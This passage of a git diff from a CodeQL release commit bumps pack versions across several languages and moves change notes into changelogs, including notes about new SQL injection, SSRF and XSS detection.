cpp/ql/lib/change-notes/2025-05-28-using-template.md rename to cpp/ql/lib/change-notes/released/5.1.0.md index 7c13e1ae0ee..b7da377062f 100644 --- a/cpp/ql/lib/change-notes/2025-05-28-using-template.md +++ b/cpp/ql/lib/change-notes/released/5.1.0.md @@ -1,4 +1,5 @@ ---- -category: feature ---- +## 5.1.0 + +### New Features + * Added a predicate `getReferencedMember` to `UsingDeclarationEntry`, which yields a member depending on a type template parameter. diff --git a/cpp/ql/lib/codeql-pack.release.yml b/cpp/ql/lib/codeql-pack.release.yml index c9e54136ca5..dd8d287d010 100644 --- a/cpp/ql/lib/codeql-pack.release.yml +++ b/cpp/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 5.0.0 +lastReleaseVersion: 5.1.0 diff --git a/cpp/ql/lib/qlpack.yml b/cpp/ql/lib/qlpack.yml index 28c6da0c865..5d1966180cc 100644 --- a/cpp/ql/lib/qlpack.yml +++ b/cpp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-all -version: 5.0.1-dev +version: 5.1.0 groups: cpp dbscheme: semmlecode.cpp.dbscheme extractor: cpp diff --git a/cpp/ql/src/CHANGELOG.md b/cpp/ql/src/CHANGELOG.md index 49bf1f975ee..4edd493015a 100644 --- a/cpp/ql/src/CHANGELOG.md +++ b/cpp/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.4.2 + +No user-facing changes. + ## 1.4.1 ### Minor Analysis Improvements diff --git a/cpp/ql/src/change-notes/released/1.4.2.md b/cpp/ql/src/change-notes/released/1.4.2.md new file mode 100644 index 00000000000..37be01f40d9 --- /dev/null +++ b/cpp/ql/src/change-notes/released/1.4.2.md @@ -0,0 +1,3 @@ +## 1.4.2 + +No user-facing changes. diff --git a/cpp/ql/src/codeql-pack.release.yml b/cpp/ql/src/codeql-pack.release.yml index 43ccf4467be..a76cacdf799 100644 --- a/cpp/ql/src/codeql-pack.release.yml +++ b/cpp/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.4.1 +lastReleaseVersion: 1.4.2 diff --git a/cpp/ql/src/qlpack.yml b/cpp/ql/src/qlpack.yml index bdef1897e30..52f0f08a4c5 100644 --- a/cpp/ql/src/qlpack.yml +++ b/cpp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-queries -version: 1.4.2-dev +version: 1.4.2 groups: - cpp - queries diff --git a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md index 0a441eeacb2..127bb19bbc6 100644 --- a/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md +++ b/csharp/ql/campaigns/Solorigate/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.7.42 + +No user-facing changes. + ## 1.7.41 No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.42.md b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.42.md new file mode 100644 index 00000000000..baf98826021 --- /dev/null +++ b/csharp/ql/campaigns/Solorigate/lib/change-notes/released/1.7.42.md @@ -0,0 +1,3 @@ +## 1.7.42 + +No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml index 2eee1633d76..8317cee0ddb 100644 --- a/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml +++ b/csharp/ql/campaigns/Solorigate/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.7.41 +lastReleaseVersion: 1.7.42 diff --git a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml index cd4f81e57d6..212ac56d39d 100644 --- a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-all -version: 1.7.42-dev +version: 1.7.42 groups: - csharp - solorigate diff --git a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md index 0a441eeacb2..127bb19bbc6 100644 --- a/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md +++ b/csharp/ql/campaigns/Solorigate/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.7.42 + +No user-facing changes. + ## 1.7.41 No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.42.md b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.42.md new file mode 100644 index 00000000000..baf98826021 --- /dev/null +++ b/csharp/ql/campaigns/Solorigate/src/change-notes/released/1.7.42.md @@ -0,0 +1,3 @@ +## 1.7.42 + +No user-facing changes. diff --git a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml index 2eee1633d76..8317cee0ddb 100644 --- a/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml +++ b/csharp/ql/campaigns/Solorigate/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.7.41 +lastReleaseVersion: 1.7.42 diff --git a/csharp/ql/campaigns/Solorigate/src/qlpack.yml b/csharp/ql/campaigns/Solorigate/src/qlpack.yml index 75b5716c232..16bf3587403 100644 --- a/csharp/ql/campaigns/Solorigate/src/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-queries -version: 1.7.42-dev +version: 1.7.42 groups: - csharp - solorigate diff --git a/csharp/ql/lib/CHANGELOG.md b/csharp/ql/lib/CHANGELOG.md index 1fcecc7f8e9..5eeedc6f77b 100644 --- a/csharp/ql/lib/CHANGELOG.md +++ b/csharp/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 5.1.8 + +No user-facing changes. + ## 5.1.7 ### Minor Analysis Improvements diff --git a/csharp/ql/lib/change-notes/released/5.1.8.md b/csharp/ql/lib/change-notes/released/5.1.8.md new file mode 100644 index 00000000000..9e1ff36f31f --- /dev/null +++ b/csharp/ql/lib/change-notes/released/5.1.8.md @@ -0,0 +1,3 @@ +## 5.1.8 + +No user-facing changes. diff --git a/csharp/ql/lib/codeql-pack.release.yml b/csharp/ql/lib/codeql-pack.release.yml index f26524e1fd9..8ffbb79d224 100644 --- a/csharp/ql/lib/codeql-pack.release.yml +++ b/csharp/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 5.1.7 +lastReleaseVersion: 5.1.8 diff --git a/csharp/ql/lib/qlpack.yml b/csharp/ql/lib/qlpack.yml index 8404a7c29a6..84b613c8497 100644 --- a/csharp/ql/lib/qlpack.yml +++ b/csharp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-all -version: 5.1.8-dev +version: 5.1.8 groups: csharp dbscheme: semmlecode.csharp.dbscheme extractor: csharp diff --git a/csharp/ql/src/CHANGELOG.md b/csharp/ql/src/CHANGELOG.md index b2384df0d06..4eabf64f6a5 100644 --- a/csharp/ql/src/CHANGELOG.md +++ b/csharp/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.2.2 + +No user-facing changes. + ## 1.2.1 ### Minor Analysis Improvements diff --git a/csharp/ql/src/change-notes/released/1.2.2.md b/csharp/ql/src/change-notes/released/1.2.2.md new file mode 100644 index 00000000000..7b520f6c258 --- /dev/null +++ b/csharp/ql/src/change-notes/released/1.2.2.md @@ -0,0 +1,3 @@ +## 1.2.2 + +No user-facing changes. diff --git a/csharp/ql/src/codeql-pack.release.yml b/csharp/ql/src/codeql-pack.release.yml index 73dd403938c..0a70a9a01a7 100644 --- a/csharp/ql/src/codeql-pack.release.yml +++ b/csharp/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.2.1 +lastReleaseVersion: 1.2.2 diff --git a/csharp/ql/src/qlpack.yml b/csharp/ql/src/qlpack.yml index df26e2790d3..24cacd047ce 100644 --- a/csharp/ql/src/qlpack.yml +++ b/csharp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-queries -version: 1.2.2-dev +version: 1.2.2 groups: - csharp - queries diff --git a/go/ql/consistency-queries/CHANGELOG.md b/go/ql/consistency-queries/CHANGELOG.md index a684ef060a5..3fa1fa4c69b 100644 --- a/go/ql/consistency-queries/CHANGELOG.md +++ b/go/ql/consistency-queries/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/go/ql/consistency-queries/change-notes/released/1.0.25.md b/go/ql/consistency-queries/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/go/ql/consistency-queries/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/go/ql/consistency-queries/codeql-pack.release.yml b/go/ql/consistency-queries/codeql-pack.release.yml index d08329a98fc..a5a44030e85 100644 --- a/go/ql/consistency-queries/codeql-pack.release.yml +++ b/go/ql/consistency-queries/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/go/ql/consistency-queries/qlpack.yml b/go/ql/consistency-queries/qlpack.yml index ba1482c8125..aaa9a44cb15 100644 --- a/go/ql/consistency-queries/qlpack.yml +++ b/go/ql/consistency-queries/qlpack.yml @@ -1,5 +1,5 @@ name: codeql-go-consistency-queries -version: 1.0.25-dev +version: 1.0.25 groups: - go - queries diff --git a/go/ql/lib/CHANGELOG.md b/go/ql/lib/CHANGELOG.md index 58e70d0c2bd..879662575e2 100644 --- a/go/ql/lib/CHANGELOG.md +++ b/go/ql/lib/CHANGELOG.md @@ -1,3 +1,9 @@ +## 4.2.7 + +### Minor Analysis Improvements + +* The first argument of `Client.Query` in `cloud.google.com/go/bigquery` is now recognized as a SQL injection sink. + ## 4.2.6 No user-facing changes. diff --git a/go/ql/lib/change-notes/2025-05-22-bigquery-client-query-sql-injection.md b/go/ql/lib/change-notes/released/4.2.7.md similarity index 72% rename from go/ql/lib/change-notes/2025-05-22-bigquery-client-query-sql-injection.md rename to go/ql/lib/change-notes/released/4.2.7.md index 49d040dc409..118b032c018 100644 --- a/go/ql/lib/change-notes/2025-05-22-bigquery-client-query-sql-injection.md +++ b/go/ql/lib/change-notes/released/4.2.7.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 4.2.7 + +### Minor Analysis Improvements + * The first argument of `Client.Query` in `cloud.google.com/go/bigquery` is now recognized as a SQL injection sink. diff --git a/go/ql/lib/codeql-pack.release.yml b/go/ql/lib/codeql-pack.release.yml index 2005a7a7f17..0c0ee7d4dfd 100644 --- a/go/ql/lib/codeql-pack.release.yml +++ b/go/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.2.6 +lastReleaseVersion: 4.2.7 diff --git a/go/ql/lib/qlpack.yml b/go/ql/lib/qlpack.yml index 09e8ba0d027..6cf36447983 100644 --- a/go/ql/lib/qlpack.yml +++ b/go/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-all -version: 4.2.7-dev +version: 4.2.7 groups: go dbscheme: go.dbscheme extractor: go diff --git a/go/ql/src/CHANGELOG.md b/go/ql/src/CHANGELOG.md index 794f600ad3e..b711743ccc9 100644 --- a/go/ql/src/CHANGELOG.md +++ b/go/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.3.0 + +### New Queries + +* Query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in . + ## 1.2.1 ### Minor Analysis Improvements diff --git a/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md b/go/ql/src/change-notes/released/1.3.0.md similarity index 93% rename from go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md rename to go/ql/src/change-notes/released/1.3.0.md index dc86e5b869d..fe0c5a7af3c 100644 --- a/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md +++ b/go/ql/src/change-notes/released/1.3.0.md @@ -1,4 +1,5 @@ ---- -category: newQuery ---- +## 1.3.0 + +### New Queries + * Query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in . diff --git a/go/ql/src/codeql-pack.release.yml b/go/ql/src/codeql-pack.release.yml index 73dd403938c..ec16350ed6f 100644 --- a/go/ql/src/codeql-pack.release.yml +++ b/go/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.2.1 +lastReleaseVersion: 1.3.0 diff --git a/go/ql/src/qlpack.yml b/go/ql/src/qlpack.yml index adaa22f4cbd..8278ece9be5 100644 --- a/go/ql/src/qlpack.yml +++ b/go/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-queries -version: 1.2.2-dev +version: 1.3.0 groups: - go - queries diff --git a/java/ql/lib/CHANGELOG.md b/java/ql/lib/CHANGELOG.md index 7391228e483..1e624ba0913 100644 --- a/java/ql/lib/CHANGELOG.md +++ b/java/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 7.3.1 + +No user-facing changes. + ## 7.3.0 ### Deprecated APIs diff --git a/java/ql/lib/change-notes/released/7.3.1.md b/java/ql/lib/change-notes/released/7.3.1.md new file mode 100644 index 00000000000..2f2fe547226 --- /dev/null +++ b/java/ql/lib/change-notes/released/7.3.1.md @@ -0,0 +1,3 @@ +## 7.3.1 + +No user-facing changes. diff --git a/java/ql/lib/codeql-pack.release.yml b/java/ql/lib/codeql-pack.release.yml index 2b9b871fffa..43cb026b139 100644 --- a/java/ql/lib/codeql-pack.release.yml +++ b/java/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 7.3.0 +lastReleaseVersion: 7.3.1 diff --git a/java/ql/lib/qlpack.yml b/java/ql/lib/qlpack.yml index c5780e1015e..b8d73e70642 100644 --- a/java/ql/lib/qlpack.yml +++ b/java/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-all -version: 7.3.1-dev +version: 7.3.1 groups: java dbscheme: config/semmlecode.dbscheme extractor: java diff --git a/java/ql/src/CHANGELOG.md b/java/ql/src/CHANGELOG.md index fa038d728e6..ca355f5e684 100644 --- a/java/ql/src/CHANGELOG.md +++ b/java/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.5.2 + +No user-facing changes. + ## 1.5.1 ### Minor Analysis Improvements diff --git a/java/ql/src/change-notes/released/1.5.2.md b/java/ql/src/change-notes/released/1.5.2.md new file mode 100644 index 00000000000..384c27833f1 --- /dev/null +++ b/java/ql/src/change-notes/released/1.5.2.md @@ -0,0 +1,3 @@ +## 1.5.2 + +No user-facing changes. diff --git a/java/ql/src/codeql-pack.release.yml b/java/ql/src/codeql-pack.release.yml index c5775c46013..7eb901bae56 100644 --- a/java/ql/src/codeql-pack.release.yml +++ b/java/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.5.1 +lastReleaseVersion: 1.5.2 diff --git a/java/ql/src/qlpack.yml b/java/ql/src/qlpack.yml index bd64dd0d176..4ea0bc399ca 100644 --- a/java/ql/src/qlpack.yml +++ b/java/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-queries -version: 1.5.2-dev +version: 1.5.2 groups: - java - queries diff --git a/javascript/ql/lib/CHANGELOG.md b/javascript/ql/lib/CHANGELOG.md index 91b86700ed4..0068a86fb4c 100644 --- a/javascript/ql/lib/CHANGELOG.md +++ b/javascript/ql/lib/CHANGELOG.md @@ -1,3 +1,9 @@ +## 2.6.5 + +### Minor Analysis Improvements + +* Added taint flow through the `URL` constructor from the `url` package, improving the identification of SSRF vulnerabilities. + ## 2.6.4 ### Minor Analysis Improvements diff --git a/javascript/ql/lib/change-notes/2025-05-30-url-package-taint-step.md b/javascript/ql/lib/change-notes/released/2.6.5.md similarity index 74% rename from javascript/ql/lib/change-notes/2025-05-30-url-package-taint-step.md rename to javascript/ql/lib/change-notes/released/2.6.5.md index f875f796415..ae1137dbc08 100644 --- a/javascript/ql/lib/change-notes/2025-05-30-url-package-taint-step.md +++ b/javascript/ql/lib/change-notes/released/2.6.5.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 2.6.5 + +### Minor Analysis Improvements + * Added taint flow through the `URL` constructor from the `url` package, improving the identification of SSRF vulnerabilities. diff --git a/javascript/ql/lib/codeql-pack.release.yml b/javascript/ql/lib/codeql-pack.release.yml index ac755647695..b29c290895c 100644 --- a/javascript/ql/lib/codeql-pack.release.yml +++ b/javascript/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.6.4 +lastReleaseVersion: 2.6.5 diff --git a/javascript/ql/lib/qlpack.yml b/javascript/ql/lib/qlpack.yml index dfead0f953d..c015b3679f1 100644 --- a/javascript/ql/lib/qlpack.yml +++ b/javascript/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-all -version: 2.6.5-dev +version: 2.6.5 groups: javascript dbscheme: semmlecode.javascript.dbscheme extractor: javascript diff --git a/javascript/ql/src/CHANGELOG.md b/javascript/ql/src/CHANGELOG.md index 95b3d48ac2f..b6939ad5ec4 100644 --- a/javascript/ql/src/CHANGELOG.md +++ b/javascript/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.6.2 + +No user-facing changes. + ## 1.6.1 ### Minor Analysis Improvements diff --git a/javascript/ql/src/change-notes/released/1.6.2.md b/javascript/ql/src/change-notes/released/1.6.2.md new file mode 100644 index 00000000000..bbe3747556f --- /dev/null +++ b/javascript/ql/src/change-notes/released/1.6.2.md @@ -0,0 +1,3 @@ +## 1.6.2 + +No user-facing changes. diff --git a/javascript/ql/src/codeql-pack.release.yml b/javascript/ql/src/codeql-pack.release.yml index ef7a789e0cf..5f5beb68311 100644 --- a/javascript/ql/src/codeql-pack.release.yml +++ b/javascript/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.6.1 +lastReleaseVersion: 1.6.2 diff --git a/javascript/ql/src/qlpack.yml b/javascript/ql/src/qlpack.yml index 2fb51f3e092..6fff98f1f34 100644 --- a/javascript/ql/src/qlpack.yml +++ b/javascript/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-queries -version: 1.6.2-dev +version: 1.6.2 groups: - javascript - queries diff --git a/misc/suite-helpers/CHANGELOG.md b/misc/suite-helpers/CHANGELOG.md index 1959582a171..534af566852 100644 --- a/misc/suite-helpers/CHANGELOG.md +++ b/misc/suite-helpers/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/misc/suite-helpers/change-notes/released/1.0.25.md b/misc/suite-helpers/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/misc/suite-helpers/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/misc/suite-helpers/codeql-pack.release.yml b/misc/suite-helpers/codeql-pack.release.yml index d08329a98fc..a5a44030e85 100644 --- a/misc/suite-helpers/codeql-pack.release.yml +++ b/misc/suite-helpers/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/misc/suite-helpers/qlpack.yml b/misc/suite-helpers/qlpack.yml index d38442ce1fd..3ee266732fb 100644 --- a/misc/suite-helpers/qlpack.yml +++ b/misc/suite-helpers/qlpack.yml @@ -1,4 +1,4 @@ name: codeql/suite-helpers -version: 1.0.25-dev +version: 1.0.25 groups: shared warnOnImplicitThis: true diff --git a/python/ql/lib/CHANGELOG.md b/python/ql/lib/CHANGELOG.md index 36d7cdbcc2f..09dc9d983a8 100644 --- a/python/ql/lib/CHANGELOG.md +++ b/python/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 4.0.9 + +No user-facing changes. + ## 4.0.8 ### Minor Analysis Improvements diff --git a/python/ql/lib/change-notes/released/4.0.9.md b/python/ql/lib/change-notes/released/4.0.9.md new file mode 100644 index 00000000000..4effa5d0480 --- /dev/null +++ b/python/ql/lib/change-notes/released/4.0.9.md @@ -0,0 +1,3 @@ +## 4.0.9 + +No user-facing changes. diff --git a/python/ql/lib/codeql-pack.release.yml b/python/ql/lib/codeql-pack.release.yml index 36a2330377d..25b75788f99 100644 --- a/python/ql/lib/codeql-pack.release.yml +++ b/python/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.0.8 +lastReleaseVersion: 4.0.9 diff --git a/python/ql/lib/qlpack.yml b/python/ql/lib/qlpack.yml index ce0240ccb88..4b1d284def3 100644 --- a/python/ql/lib/qlpack.yml +++ b/python/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-all -version: 4.0.9-dev +version: 4.0.9 groups: python dbscheme: semmlecode.python.dbscheme extractor: python diff --git a/python/ql/src/CHANGELOG.md b/python/ql/src/CHANGELOG.md index a65d9f84641..292fda17c90 100644 --- a/python/ql/src/CHANGELOG.md +++ b/python/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.5.2 + +### Minor Analysis Improvements + +* Added SQL injection models from the `pandas` PyPI package. + ## 1.5.1 ### Minor Analysis Improvements diff --git a/python/ql/src/change-notes/2025-05-26-pandas-sqli-sinks.md b/python/ql/src/change-notes/released/1.5.2.md similarity index 58% rename from python/ql/src/change-notes/2025-05-26-pandas-sqli-sinks.md rename to python/ql/src/change-notes/released/1.5.2.md index a230dcc63ec..813448ef447 100644 --- a/python/ql/src/change-notes/2025-05-26-pandas-sqli-sinks.md +++ b/python/ql/src/change-notes/released/1.5.2.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.5.2 + +### Minor Analysis Improvements + * Added SQL injection models from the `pandas` PyPI package. diff --git a/python/ql/src/codeql-pack.release.yml b/python/ql/src/codeql-pack.release.yml index c5775c46013..7eb901bae56 100644 --- a/python/ql/src/codeql-pack.release.yml +++ b/python/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.5.1 +lastReleaseVersion: 1.5.2 diff --git a/python/ql/src/qlpack.yml b/python/ql/src/qlpack.yml index 98db7d0387e..54dfe59df77 100644 --- a/python/ql/src/qlpack.yml +++ b/python/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-queries -version: 1.5.2-dev +version: 1.5.2 groups: - python - queries diff --git a/ruby/ql/lib/CHANGELOG.md b/ruby/ql/lib/CHANGELOG.md index f637009e8a1..cdd84b3aeeb 100644 --- a/ruby/ql/lib/CHANGELOG.md +++ b/ruby/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 4.1.8 + +No user-facing changes. + ## 4.1.7 ### Minor Analysis Improvements diff --git a/ruby/ql/lib/change-notes/released/4.1.8.md b/ruby/ql/lib/change-notes/released/4.1.8.md new file mode 100644 index 00000000000..4c398b39078 --- /dev/null +++ b/ruby/ql/lib/change-notes/released/4.1.8.md @@ -0,0 +1,3 @@ +## 4.1.8 + +No user-facing changes. diff --git a/ruby/ql/lib/codeql-pack.release.yml b/ruby/ql/lib/codeql-pack.release.yml index 6a89491cdb8..8636017292c 100644 --- a/ruby/ql/lib/codeql-pack.release.yml +++ b/ruby/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.1.7 +lastReleaseVersion: 4.1.8 diff --git a/ruby/ql/lib/qlpack.yml b/ruby/ql/lib/qlpack.yml index 430cc1e2fc3..1ed20c1ddcf 100644 --- a/ruby/ql/lib/qlpack.yml +++ b/ruby/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-all -version: 4.1.8-dev +version: 4.1.8 groups: ruby extractor: ruby dbscheme: ruby.dbscheme diff --git a/ruby/ql/src/CHANGELOG.md b/ruby/ql/src/CHANGELOG.md index 3bf0a2d6312..fcee47275f5 100644 --- a/ruby/ql/src/CHANGELOG.md +++ b/ruby/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.3.2 + +No user-facing changes. + ## 1.3.1 ### Minor Analysis Improvements diff --git a/ruby/ql/src/change-notes/released/1.3.2.md b/ruby/ql/src/change-notes/released/1.3.2.md new file mode 100644 index 00000000000..14f14807ef5 --- /dev/null +++ b/ruby/ql/src/change-notes/released/1.3.2.md @@ -0,0 +1,3 @@ +## 1.3.2 + +No user-facing changes. diff --git a/ruby/ql/src/codeql-pack.release.yml b/ruby/ql/src/codeql-pack.release.yml index e71b6d081f1..86a9cb32d86 100644 --- a/ruby/ql/src/codeql-pack.release.yml +++ b/ruby/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.3.1 +lastReleaseVersion: 1.3.2 diff --git a/ruby/ql/src/qlpack.yml b/ruby/ql/src/qlpack.yml index f6b5e50f8fc..d3963ed7ea4 100644 --- a/ruby/ql/src/qlpack.yml +++ b/ruby/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-queries -version: 1.3.2-dev +version: 1.3.2 groups: - ruby - queries diff --git a/rust/ql/lib/CHANGELOG.md b/rust/ql/lib/CHANGELOG.md index f37d7ac4bae..85c29db05c1 100644 --- a/rust/ql/lib/CHANGELOG.md +++ b/rust/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.1.10 + +No user-facing changes. + ## 0.1.9 No user-facing changes. diff --git a/rust/ql/lib/change-notes/released/0.1.10.md b/rust/ql/lib/change-notes/released/0.1.10.md new file mode 100644 index 00000000000..47358eeee93 --- /dev/null +++ b/rust/ql/lib/change-notes/released/0.1.10.md @@ -0,0 +1,3 @@ +## 0.1.10 + +No user-facing changes. diff --git a/rust/ql/lib/codeql-pack.release.yml b/rust/ql/lib/codeql-pack.release.yml index 1425c0edf7f..30f5ca88be0 100644 --- a/rust/ql/lib/codeql-pack.release.yml +++ b/rust/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.1.9 +lastReleaseVersion: 0.1.10 diff --git a/rust/ql/lib/qlpack.yml b/rust/ql/lib/qlpack.yml index ff0621bad83..246c9948c50 100644 --- a/rust/ql/lib/qlpack.yml +++ b/rust/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-all -version: 0.1.10-dev +version: 0.1.10 groups: rust extractor: rust dbscheme: rust.dbscheme diff --git a/rust/ql/src/CHANGELOG.md b/rust/ql/src/CHANGELOG.md index 8b870ea5f99..1459910b5ee 100644 --- a/rust/ql/src/CHANGELOG.md +++ b/rust/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.1.10 + +No user-facing changes. + ## 0.1.9 No user-facing changes. diff --git a/rust/ql/src/change-notes/released/0.1.10.md b/rust/ql/src/change-notes/released/0.1.10.md new file mode 100644 index 00000000000..47358eeee93 --- /dev/null +++ b/rust/ql/src/change-notes/released/0.1.10.md @@ -0,0 +1,3 @@ +## 0.1.10 + +No user-facing changes. diff --git a/rust/ql/src/codeql-pack.release.yml b/rust/ql/src/codeql-pack.release.yml index 1425c0edf7f..30f5ca88be0 100644 --- a/rust/ql/src/codeql-pack.release.yml +++ b/rust/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.1.9 +lastReleaseVersion: 0.1.10 diff --git a/rust/ql/src/qlpack.yml b/rust/ql/src/qlpack.yml index fcda5b64ede..813da756c7b 100644 --- a/rust/ql/src/qlpack.yml +++ b/rust/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-queries -version: 0.1.10-dev +version: 0.1.10 groups: - rust - queries diff --git a/shared/controlflow/CHANGELOG.md b/shared/controlflow/CHANGELOG.md index 8748a58b0c4..a9641b2d087 100644 --- a/shared/controlflow/CHANGELOG.md +++ b/shared/controlflow/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.9 + +No user-facing changes. + ## 2.0.8 No user-facing changes. diff --git a/shared/controlflow/change-notes/released/2.0.9.md b/shared/controlflow/change-notes/released/2.0.9.md new file mode 100644 index 00000000000..b89eb98bbd9 --- /dev/null +++ b/shared/controlflow/change-notes/released/2.0.9.md @@ -0,0 +1,3 @@ +## 2.0.9 + +No user-facing changes. diff --git a/shared/controlflow/codeql-pack.release.yml b/shared/controlflow/codeql-pack.release.yml index 7ffb2d9f65b..ce305265e33 100644 --- a/shared/controlflow/codeql-pack.release.yml +++ b/shared/controlflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.8 +lastReleaseVersion: 2.0.9 diff --git a/shared/controlflow/qlpack.yml b/shared/controlflow/qlpack.yml index 0ef97923900..08958db7e3e 100644 --- a/shared/controlflow/qlpack.yml +++ b/shared/controlflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/controlflow -version: 2.0.9-dev +version: 2.0.9 groups: shared library: true dependencies: diff --git a/shared/dataflow/CHANGELOG.md b/shared/dataflow/CHANGELOG.md index 